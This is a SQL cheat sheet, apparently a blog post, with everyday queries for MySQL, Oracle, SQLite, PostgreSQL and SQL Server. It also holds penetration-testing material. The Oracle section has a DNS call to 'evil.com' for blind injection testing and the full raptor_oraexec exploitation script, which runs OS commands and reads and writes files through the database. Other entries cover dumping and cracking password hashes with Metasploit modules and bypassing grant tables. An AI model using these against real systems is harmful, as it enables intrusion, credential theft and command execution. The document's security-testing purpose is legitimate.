# SQL - Cheatsheet

# SQL Cheatsheet

# Generic Queries

## Update field

```
UPDATE table_name
SET column1 = value1, column2 = value2, ...
WHERE condition;
```

<div class="code-toolbar" id="bkmrk-copy"><div class="toolbar"><div class="toolbar-item"></div></div></div>## Get first row of data from table

Replace `table` with a valid table in your db.

```
SELECT * FROM <table> LIMIT 1;
```

<div class="code-toolbar" id="bkmrk-copy-1"><div class="toolbar"><div class="toolbar-item"></div></div></div>## Single-line comment

```
-- stuff to comment out
```

<div class="code-toolbar" id="bkmrk-copy-2"><div class="toolbar"><div class="toolbar-item"></div></div></div>## Multi-line comment

```
/**
stuff to comment out
**/
```

<div class="code-toolbar" id="bkmrk-copy-3"><div class="toolbar"><div class="toolbar-item"></div></div></div>## Delete the last n rows from a table

```
DELETE FROM `table` WHERE `table`.`tableID` in (SELECT TOP 500 tableID FROM table ORDER BY tableID DESC)
```

<div class="code-toolbar" id="bkmrk-copy-4"><div class="toolbar"><div class="toolbar-item"></div></div></div>## Delete the first n rows from a table

```
DELETE FROM `table` WHERE `table`.`tableID` in (SELECT TOP 500 tableID FROM table ORDER BY tableID ASC)
```

<div class="code-toolbar" id="bkmrk-copy-5"><div class="toolbar"><div class="toolbar-item"></div></div></div>## Get the number of rows in a table

```
SELECT COUNT(*) FROM <table>;
```

<div class="code-toolbar" id="bkmrk-copy-6"><div class="toolbar"><div class="toolbar-item"></div></div></div>Resources:  
[https://www.w3schools.com/sql/sql\_update.asp](https://www.w3schools.com/sql/sql_update.asp)  
[https://ask.sqlservercentral.com/questions/45952/deleting-last-n-rows-from-a-table.html](https://ask.sqlservercentral.com/questions/45952/deleting-last-n-rows-from-a-table.html)

# MySQL Specific Notes

## Connect to database via command line

```
mysql -h <hostname|ip address> -u username <database name> -P <port>
# Enter password
```

<div class="code-toolbar" id="bkmrk-copy-7"><div class="toolbar"><div class="toolbar-item"></div></div></div>## Try passwordless auth

Get the login path(s):

```
mysql_config_editor print --all
```

<div class="code-toolbar" id="bkmrk-copy-8"><div class="toolbar"><div class="toolbar-item"></div></div></div>If one of the paths was (for example) `root_path`, try connecting to the database with it:

```
mysql --login-path=root_path
```

<div class="code-toolbar" id="bkmrk-copy-9"><div class="toolbar"><div class="toolbar-item"></div></div></div>Resources:  
[https://opensourcedbms.com/dbms/passwordless-authentication-using-mysql\_config\_editor-with-mysql-5-6/](https://opensourcedbms.com/dbms/passwordless-authentication-using-mysql_config_editor-with-mysql-5-6/)  
[https://dba.stackexchange.com/questions/86595/how-can-i-make-mysql-client-read-password-from-mylogin-cnf](https://dba.stackexchange.com/questions/86595/how-can-i-make-mysql-client-read-password-from-mylogin-cnf)

## Reset password

If you’re unable to access the db, have privileged access, and aren’t worried about causing a service disruption, reset the password:

```
sudo systemctl stop mysql
sudo mysqld_safe --skip-grant-tables
mysql -u root
```

<div class="code-toolbar" id="bkmrk-copy-10"><div class="toolbar"><div class="toolbar-item"></div></div></div>Resource: [https://www.digitalocean.com/community/tutorials/how-to-reset-your-mysql-or-mariadb-root-password](https://www.digitalocean.com/community/tutorials/how-to-reset-your-mysql-or-mariadb-root-password)

## Run command from the CLI

```
mysql -u username -h my.application.com <database> -p -e "show databases";
```

<div class="code-toolbar" id="bkmrk-copy-11"><div class="toolbar"><div class="toolbar-item"></div></div></div>## Create new remote access user

```
CREATE USER 'myuser'@'localhost' IDENTIFIED BY 'mypass';
CREATE USER 'myuser'@'%' IDENTIFIED BY 'mypass';
GRANT ALL ON *.* TO 'myuser'@'localhost';
GRANT ALL ON *.* TO 'myuser'@'%';
```

<div class="code-toolbar" id="bkmrk-copy-12"><div class="toolbar"><div class="toolbar-item"></div></div></div>## Create new remote access user with root privs

```
CREATE USER 'myuser'@'localhost' IDENTIFIED BY 'some_pass';
GRANT ALL PRIVILEGES ON *.* TO 'myuser'@'localhost' WITH GRANT OPTION;
CREATE USER 'myuser'@'%' IDENTIFIED BY 'some_pass';
GRANT ALL PRIVILEGES ON *.* TO 'myuser'@'%' WITH GRANT OPTION;
CREATE USER 'admin'@'localhost';
GRANT RELOAD,PROCESS ON *.* TO 'admin'@'localhost';
CREATE USER 'dummy'@'localhost';
FLUSH PRIVILEGES;
```

<div class="code-toolbar" id="bkmrk-copy-13"><div class="toolbar"><div class="toolbar-item"></div></div></div>Resources: [https://stackoverflow.com/questions/16747035/mysql-creating-a-user-with-root-privileges](https://stackoverflow.com/questions/16747035/mysql-creating-a-user-with-root-privileges)

## Show databases

```
show databases;
```

<div class="code-toolbar" id="bkmrk-copy-14"><div class="toolbar"><div class="toolbar-item"></div></div></div>## Use database

```
USE [database name];
```

<div class="code-toolbar" id="bkmrk-copy-15"><div class="toolbar"><div class="toolbar-item"></div></div></div>## Show tables

```
show tables;
```

<div class="code-toolbar" id="bkmrk-copy-16"><div class="toolbar"><div class="toolbar-item"></div></div></div>## Get table schema

```
describe [database].[table]
```

<div class="code-toolbar" id="bkmrk-copy-17"><div class="toolbar"><div class="toolbar-item"></div></div></div>Alternatively:

```
SELECT
   COLUMN_NAME
FROM
   information_schema.COLUMNS
WHERE
   TABLE_NAME = '<TABLE NAME>';
```

<div class="code-toolbar" id="bkmrk-copy-18"><div class="toolbar"><div class="toolbar-item"></div></div></div>Resource: [http://www.postgresqltutorial.com/postgresql-describe-table/](http://www.postgresqltutorial.com/postgresql-describe-table/)

## Show users

```
SELECT user FROM mysql.user;
```

<div class="code-toolbar" id="bkmrk-copy-19"><div class="toolbar"><div class="toolbar-item"></div></div></div>## Get password hashes

```
SELECT host, user, password FROM mysql.user;
```

<div class="code-toolbar" id="bkmrk-copy-20"><div class="toolbar"><div class="toolbar-item"></div></div></div>## Show privileges of current user

```
SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges;
```

<div class="code-toolbar" id="bkmrk-copy-21"><div class="toolbar"><div class="toolbar-item"></div></div></div># Oracle

## Get current user

```
SELECT user FROM dual;
```

<div class="code-toolbar" id="bkmrk-copy-22"><div class="toolbar"><div class="toolbar-item"></div></div></div>## Get Permissions for current user

```
SELECT * FROM session_privs;
```

<div class="code-toolbar" id="bkmrk-copy-23"><div class="toolbar"><div class="toolbar-item"></div></div></div>## Get all db users

```
SELECT username FROM all_users ORDER BY username;
```

<div class="code-toolbar" id="bkmrk-copy-24"><div class="toolbar"><div class="toolbar-item"></div></div></div>## Get all tables and owners of those tables

```
SELECT owner, table_name FROM all_tables;
```

<div class="code-toolbar" id="bkmrk-copy-25"><div class="toolbar"><div class="toolbar-item"></div></div></div>## Get location of database files on filesystem

```
SELECT name FROM V$DATAFILE;
```

<div class="code-toolbar" id="bkmrk-copy-26"><div class="toolbar"><div class="toolbar-item"></div></div></div>## Make DNS request

This can be a great way to check for vulnerabilities such as [Blind SQL Injection](https://owasp.org/www-community/attacks/Blind_SQL_Injection).

```
SELECT UTL_INADDR.get_host_address('evil.com/test') FROM dual;
```

<div class="code-toolbar" id="bkmrk-copy-27"><div class="toolbar"><div class="toolbar-item"></div></div></div>## Get running processes

```select
FROM v$process p, v$session s

WHERE p.addr=s.paddr ORDER BY 2, 3, 1
```

<div class="code-toolbar" id="bkmrk-copy-28"><div class="toolbar"><div class="toolbar-item"></div></div></div>## Get OS platform info

```
SELECT platform_name FROM v$database;
```

<div class="code-toolbar" id="bkmrk-copy-29"><div class="toolbar"><div class="toolbar-item"></div></div></div>## Execute system commands

Try using raptor\_oraexec:

```
--
-- $Id: raptor_oraexec.sql,v 1.2 2006/11/23 23:40:16 raptor Exp $
--
-- raptor_oraexec.sql - java exploitation suite for oracle
-- Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
--
-- This is an exploitation suite for Oracle written in Java. Use it to
-- read/write files and execute OS commands with the privileges of the
-- RDBMS, if you have the required permissions (DBA role and SYS:java).
--
-- "The Oracle RDBMS could almost be considered as a shell like bash or the
-- Windows Command Prompt; it's not only capable of storing data but can also
-- be used to completely access the file system and run operating system
-- commands" -- David Litchfield (http://www.databasesecurity.com/)
--
-- Usage example:
-- $ sqlplus "/ as sysdba"
-- [...]
-- SQL> @raptor_oraexec.sql
-- [...]
-- SQL> exec javawritefile('/tmp/mytest', '/bin/ls -l > /tmp/aaa');
-- SQL> exec javawritefile('/tmp/mytest', '/bin/ls -l / > /tmp/bbb');
-- SQL> exec dbms_java.set_output(2000);
-- SQL> set serveroutput on;
-- SQL> exec javareadfile('/tmp/mytest');
-- /bin/ls -l > /tmp/aaa
-- /bin/ls -l / >/tmp/bbb
-- SQL> exec javacmd('/bin/sh /tmp/mytest');
-- SQL> !sh
-- $ ls -rtl /tmp/
-- [...]
-- -rw-r--r--   1 oracle   system        45 Nov 22 12:20 mytest
-- -rw-r--r--   1 oracle   system      1645 Nov 22 12:20 aaa
-- -rw-r--r--   1 oracle   system      8267 Nov 22 12:20 bbb
-- [...]
--

create or replace and resolve java source named "oraexec" as
import java.lang.*;
import java.io.*;
public class oraexec
{
 /*
  * Command execution module
  */
 public static void execCommand(String command) throws IOException
 {
  Runtime.getRuntime().exec(command);
 }

 /*
  * File reading module
  */
 public static void readFile(String filename) throws IOException
 {
  FileReader f = new FileReader(filename);
  BufferedReader fr = new BufferedReader(f);
  String text = fr.readLine();
  while (text != null) {
   System.out.println(text);
   text = fr.readLine();
  }
  fr.close();
 }

 /*
  * File writing module
  */
 public static void writeFile(String filename, String line) throws IOException
 {
  FileWriter f = new FileWriter(filename, true); /* append */
  BufferedWriter fw = new BufferedWriter(f);
  fw.write(line);
  fw.write("\n");
  fw.close();
 }
}
/

-- usage: exec javacmd('command');
create or replace procedure javacmd(p_command varchar2) as
language java
name 'oraexec.execCommand(java.lang.String)';
/

-- usage: exec dbms_java.set_output(2000);
--        set serveroutput on;
--        exec javareadfile('/path/to/file');
create or replace procedure javareadfile(p_filename in varchar2) as
language java
name 'oraexec.readFile(java.lang.String)';
/

-- usage: exec javawritefile('/path/to/file', 'line to append');
create or replace procedure javawritefile(p_filename in varchar2, p_line in varchar2) as
language java
name 'oraexec.writeFile(java.lang.String, java.lang.String)';
/
```

<div class="code-toolbar" id="bkmrk-copy-30"><div class="toolbar"><div class="toolbar-item"></div></div></div>**Resources**  
[http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet)  
[http://www.oracle.com/technetwork/articles/linux/saternos-scripting-088882.html](http://www.oracle.com/technetwork/articles/linux/saternos-scripting-088882.html)  
[http://www.0xdeadbeef.info/exploits/raptor\_oraexec.sql](http://www.0xdeadbeef.info/exploits/raptor_oraexec.sql)  
[https://www.pcwdld.com/sql-cheat-sheet](https://www.pcwdld.com/sql-cheat-sheet)

# SQLite

## Clear screen

```
Ctrl-l
```

<div class="code-toolbar" id="bkmrk-copy-31"><div class="toolbar"><div class="toolbar-item"></div></div></div>## Output to CSV

```
.headers on
.mode csv
.output <name of file>.csv
SELECT * FROM <table> WHERE <condition>;
.output stdout
```

<div class="code-toolbar" id="bkmrk-copy-32"><div class="toolbar"><div class="toolbar-item"></div></div></div>## Match wildcard information (like a regex)

```
SELECT * FROM <table> WHERE <column> LIKE '%<criteria to match%';
```

<div class="code-toolbar" id="bkmrk-copy-33"><div class="toolbar"><div class="toolbar-item"></div></div></div>**Resources**:  
[https://stackoverflow.com/questions/6076984/sqlite-how-do-i-save-the-result-of-a-query-as-a-csv-file](https://stackoverflow.com/questions/6076984/sqlite-how-do-i-save-the-result-of-a-query-as-a-csv-file)

## Delete entry in table

```
DELETE FROM <table name> WHERE <column name> = 'value';
```

<div class="code-toolbar" id="bkmrk-copy-34"><div class="toolbar"><div class="toolbar-item"></div></div></div>**Resource**: [https://www.tutorialspoint.com/sqlite/sqlite\_delete\_query.htm](https://www.tutorialspoint.com/sqlite/sqlite_delete_query.htm)

# PostgreSQL

## Connect to a db

```
PORT=5432
psql -p $PORT
```

<div class="code-toolbar" id="bkmrk-copy-35"><div class="toolbar"><div class="toolbar-item"></div></div></div>If you’re having issues connecting, and you know it’s running, try including:

```
-h /tmp
```

<div class="code-toolbar" id="bkmrk-copy-36"><div class="toolbar"><div class="toolbar-item"></div></div></div>for example:

```
psql -p 5432 -h /tmp
```

<div class="code-toolbar" id="bkmrk-copy-37"><div class="toolbar"><div class="toolbar-item"></div></div></div>## Run multiple SQL queries with psql

```
psql $DB_NAME -U $DB_USER -c "SELECT * FROM table1" -c "SELECT * FROM table2"
```

<div class="code-toolbar" id="bkmrk-copy-38"><div class="toolbar"><div class="toolbar-item"></div></div></div>**Resource**: [https://stackoverflow.com/questions/19674456/run-postgresql-queries-from-the-command-line](https://stackoverflow.com/questions/19674456/run-postgresql-queries-from-the-command-line)

## Change pager to less

Use `less` instead of `more` when you run a command like `\dt`:

```
\setenv PAGER less
```

<div class="code-toolbar" id="bkmrk-copy-39"><div class="toolbar"><div class="toolbar-item"></div></div></div>**Resource**: [https://askubuntu.com/questions/1039090/set-postgresql-pager-to-less](https://askubuntu.com/questions/1039090/set-postgresql-pager-to-less)

## List databases

```
\l
```

<div class="code-toolbar" id="bkmrk-copy-40"><div class="toolbar"><div class="toolbar-item"></div></div></div>## Current database

```
SELECT current_database();
```

<div class="code-toolbar" id="bkmrk-copy-41"><div class="toolbar"><div class="toolbar-item"></div></div></div>## Connect to database

```
\c <database_name>
```

<div class="code-toolbar" id="bkmrk-copy-42"><div class="toolbar"><div class="toolbar-item"></div></div></div>## Show tables in database

```
\dt
```

<div class="code-toolbar" id="bkmrk-copy-43"><div class="toolbar"><div class="toolbar-item"></div></div></div>Alternatively if you don’t have access to `psql`:

```
SELECT * FROM
  information_schema.tables
WHERE
  table_schema = 'dbname';
```

<div class="code-toolbar" id="bkmrk-copy-44"><div class="toolbar"><div class="toolbar-item"></div></div></div>Another alternative:

```
SELECT * FROM
  pg_catalog.pg_tables
WHERE
  schemaname != 'pg_catalog'
AND
  schemaname != 'information_schema';
```

<div class="code-toolbar" id="bkmrk-copy-45"><div class="toolbar"><div class="toolbar-item"></div></div></div>**Resource**: [http://www.postgresqltutorial.com/postgresql-show-tables/](http://www.postgresqltutorial.com/postgresql-show-tables/)

## Get number of tables in database

```
SELECT COUNT(*) FROM
  pg_catalog.pg_tables
WHERE
  schemaname = 'dbname';
```

<div class="code-toolbar" id="bkmrk-copy-46"><div class="toolbar"><div class="toolbar-item"></div></div></div>**Resource**: [https://stackoverflow.com/questions/13931494/how-to-get-the-total-number-of-tables-in-postgresql](https://stackoverflow.com/questions/13931494/how-to-get-the-total-number-of-tables-in-postgresql)

## List roles

```
SELECT rolname FROM pg_roles;
```

<div class="code-toolbar" id="bkmrk-copy-47"><div class="toolbar"><div class="toolbar-item"></div></div></div>## Ascending Order

```
ORDER BY table_name ASC;
```

<div class="code-toolbar" id="bkmrk-copy-48"><div class="toolbar"><div class="toolbar-item"></div></div></div>For example:

```
SELECT * FROM
  information_schema.tables
WHERE
  table_schema = 'dbname'
ORDER BY
  table_name
ASC;
```

<div class="code-toolbar" id="bkmrk-copy-49"><div class="toolbar"><div class="toolbar-item"></div></div></div>**Resource**: [https://stackoverflow.com/questions/43805229/alphabetical-sort-in-postgresql-using-indexes](https://stackoverflow.com/questions/43805229/alphabetical-sort-in-postgresql-using-indexes)

## List users

```
SELECT usename FROM pg_user;
```

<div class="code-toolbar" id="bkmrk-copy-50"><div class="toolbar"><div class="toolbar-item"></div></div></div>## List DBA accounts

**Note that this command requires a privileged account:**

```
SELECT usename FROM pg_user WHERE usesuper IS TRUE;
```

<div class="code-toolbar" id="bkmrk-copy-51"><div class="toolbar"><div class="toolbar-item"></div></div></div>## Create user

```
CREATE USER <user_name> WITH PASSWORD '<password>';
```

<div class="code-toolbar" id="bkmrk-copy-52"><div class="toolbar"><div class="toolbar-item"></div></div></div>## Drop user

```
DROP USER IF EXISTS <user_name>;
```

<div class="code-toolbar" id="bkmrk-copy-53"><div class="toolbar"><div class="toolbar-item"></div></div></div>## Get table schema (postgres)

```
\d <table name>
```

<div class="code-toolbar" id="bkmrk-copy-54"><div class="toolbar"><div class="toolbar-item"></div></div></div>## Insert data into table

```
INSERT INTO <table_name> VALUES( <value_1>, <value_2>);
```

<div class="code-toolbar" id="bkmrk-copy-55"><div class="toolbar"><div class="toolbar-item"></div></div></div>## Insert data into table with id from a select

If you’re inserting data into a table and need to get an ID from another, run the following:

```
INSERT INTO table_name(column1_name, column2_name, column3_name) VALUES ((SELECT id FROM another_table_name WHERE another_table_column_name = 'some_name' AND parent_id IS NULL), 'hostname', 'google.com');
```

<div class="code-toolbar" id="bkmrk-copy-56"><div class="toolbar"><div class="toolbar-item"></div></div></div>**Resource**: [https://www.chesnok.com/daily/2013/11/19/everyday-postgres-insert-with-select/comment-page-1/](https://www.chesnok.com/daily/2013/11/19/everyday-postgres-insert-with-select/comment-page-1/)

## Delete data from table

```
DELETE FROM <table_name> WHERE <column_name> = <value>;
```

<div class="code-toolbar" id="bkmrk-copy-57"><div class="toolbar"><div class="toolbar-item"></div></div></div>## Delete all data from table

```
DELETE FROM <table_name>;
```

<div class="code-toolbar" id="bkmrk-copy-58"><div class="toolbar"><div class="toolbar-item"></div></div></div>## Disconnect from database

```
\q
```

<div class="code-toolbar" id="bkmrk-copy-59"><div class="toolbar"><div class="toolbar-item"></div></div></div>**Resource**: [https://gist.github.com/apolloclark/ea5466d5929e63043dcf](https://gist.github.com/apolloclark/ea5466d5929e63043dcf)

## Show queries being executed

```
SELECT * FROM pg_stat_activity;
```

<div class="code-toolbar" id="bkmrk-copy-60"><div class="toolbar"><div class="toolbar-item"></div></div></div>**Resource**: [https://stackoverflow.com/questions/17654033/how-to-use-pg-stat-activity](https://stackoverflow.com/questions/17654033/how-to-use-pg-stat-activity)

## Get password hashes (postgres)

```
SELECT username, passwd FROM pg_shadow;
```

<div class="code-toolbar" id="bkmrk-copy-61"><div class="toolbar"><div class="toolbar-item"></div></div></div>You can also use metasploit to grab and crack them with `auxiliary/scanner/postgres/postgres_hashdump` and `auxiliary/analyze/jtr_postgres_fast`.

## Output to CSV (postgres)

```
\copy (SELECT * FROM foo) TO '/tmp/test.csv' WITH CSV
```

<div class="code-toolbar" id="bkmrk-copy-62"><div class="toolbar"><div class="toolbar-item"></div></div></div>For example, this will output the table names associated with the dbname database in ascending order to `/tmp/output.csv`:

```
\copy (SELECT table_name FROM information_schema.tables WHERE table_schema = 'dbname' ORDER BY table_name ASC) TO '/tmp/output.csv' WITH CSV;
```

<div class="code-toolbar" id="bkmrk-copy-63"><div class="toolbar"><div class="toolbar-item"></div></div></div>**Resource**: [https://stackoverflow.com/questions/1517635/save-pl-pgsql-output-from-postgresql-to-a-csv-file](https://stackoverflow.com/questions/1517635/save-pl-pgsql-output-from-postgresql-to-a-csv-file)

## Log all queries using the official image

Add this to your `docker-compose.yml` for your `postgres` service:

```
# log all queries
command: ["postgres", "-c", "log_statement=all", "-c", "log_destination=stderr"]
```

<div class="code-toolbar" id="bkmrk-copy-64"><div class="toolbar"><div class="toolbar-item"></div></div></div>You can then view the output using [this docker-compose command](https://techvomit.net/docker-cheatsheet/#watch-logs-for-specific-service).

**Resource**: [https://stackoverflow.com/questions/57015003/log-all-queries-in-the-official-postgres-docker-image](https://stackoverflow.com/questions/57015003/log-all-queries-in-the-official-postgres-docker-image)

# SQL Server

## macOS Client

Download [SQLPro for MSSQL](https://www.macsqlclient.com/).

## ESTABLISHING A CONNECTION on macOS

1. Open SQLPro for MSSQL and click the New button
2. Input the server name in this format: `hostname\instance_name`
3. Specify SQL Server authentication for Authentication unless told otherwise.
4. Put in the username for Login and the password for Password
5. Click Save

[Original Article](https://techvomit.net/sql-cheatsheet/)